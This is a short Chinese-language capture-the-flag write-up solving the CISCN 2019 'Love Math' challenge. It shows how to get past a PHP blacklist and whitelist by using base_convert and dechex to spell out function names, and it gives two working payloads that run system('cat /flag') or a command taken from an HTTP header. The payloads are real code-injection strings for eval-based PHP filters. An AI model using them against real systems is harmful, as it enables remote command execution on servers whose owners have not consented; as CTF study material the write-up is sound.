去年国赛,菜的像条狗,现在重新做一遍
CISCN 2019初赛 Love Math
初赛 Love Math
1 |
|
整理一下主要有以下几个点
- 长度控制在80内,这还是比较宽的
- 限定黑名单
- 限定白名单
可用函数
1 | base_convert() 在任意进制之间转换数字。 |
payload1-GET传参
1 | 通过get穿参数的情况 因为[]被过滤所以使用{} |
这时候我们需要构造一个_GET参数
最缺少的就是一个hex2bin函数,没有这个函数无法做出字符
所以先构造一下这个参数,我们需要一个比较大的进制,比十六进制更多的就是36进制了,去命令行上转一下
1 | php -r 'echo base_convert("hex2bin",36,10);' |
有了hex2bin只有就简单了我们可以用现成的函数转
base_convert(37907361743,10,36)(dechex(1598506324))
这就是_GET
构造完整payload
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){pow})&pi=system&pow=cat /flag |
payload2-header传参
getallheaders — 获取全部 HTTP 请求头信息
需要构造的payload如下
1 | exec(getallheaders(){1}) |
因为这次需要用base_convert两次所以我们复制给$pi来缩短长度
结果
1 | $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) |
get